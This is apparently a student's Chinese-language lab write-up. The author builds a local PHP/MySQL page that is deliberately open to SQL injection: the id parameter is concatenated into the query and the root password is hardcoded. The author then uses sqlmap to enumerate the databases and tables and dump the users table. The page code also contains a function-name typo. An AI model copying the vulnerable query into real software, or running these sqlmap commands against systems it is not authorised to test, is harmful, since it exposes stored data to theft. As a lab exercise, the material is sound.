本文最后更新于2 天前,其中的信息可能已经过时,如有错误请发送邮件到1683566317@qq.com
要求使用如下代码,搭建一个服务器,users表自己创建,最少报好username和admin字段即可
搭建好服务器后,使用sqlmap对目标进行sql注入攻击,爆破出数据库的表的列表和users表中所有的数据
<?php
$con=mysqli_connect("127.0.0.1","root","zhao.bao","todo");
if(!$con) die ("error connection");
$query="select username,admin from users where id=".$_GET['id'];
$res=mysqli_query($con,$query);
if($res->num_rows==0)
die("no such id");
$row=mysqli_fetch_arrya($res);
if($row['admin']=='1')
{ echo $row['username']. 'is admin'.'<br>';}
else{
echo $row['username'].'is not admin'.'<br>';}
?>
准备工作
这里使用phpstudy进行服务支持,navicat连接数据库创建users表,往表中填充数据
- 根据任务要求代码,将数据库密码改为zhao.bao


- 进入navicat,新建数据库,新建表,插入敏感数据
create database todo;
use todo;
#建表
create table users(
id int primary key auto_increment,
username varchar(50),
admin varchar(2)
);
#插入数据
insert into users(username,admin) values
('徐','1'),
('Sun','0'),
('test','0'),
('+7','0');
使用命令select * from users;

正常显示数据,建表成功
- 在phpstudy提供的网站根目录下修改index.php文件,直接粘贴任务提供的php代码

访问127.0.0.1

访问成功但是报错空参,给个参数id=1

查询成功
攻击

使用命令ipconfig物理机ip为192.168.32.1
kali先使用命令验证是否互通
curl "http://192.168.32.1/?id=1"

出现网页内容,网络互通
使用kali工具sqlmap进行扫描
sqlmap -u http://192.168.32.1/?id=1


扫描完成,存在相当多的注入方式
下面拖库
sqlmap -u "http://192.168.32.1/?id=1" --dbs

枚举表
sqlmap -u "http://192.168.32.1/?id=1" -D todo --tables

枚举数据
sqlmap -u "http://192.168.32.1/?id=1" -D todo -T users --columns
sqlmap -u "http://192.168.32.1/?id=1" -D todo -T users --dump


拖出来了数据,完成。
……最近期末周还没开始学习啊,又要速通了(⊙﹏⊙)

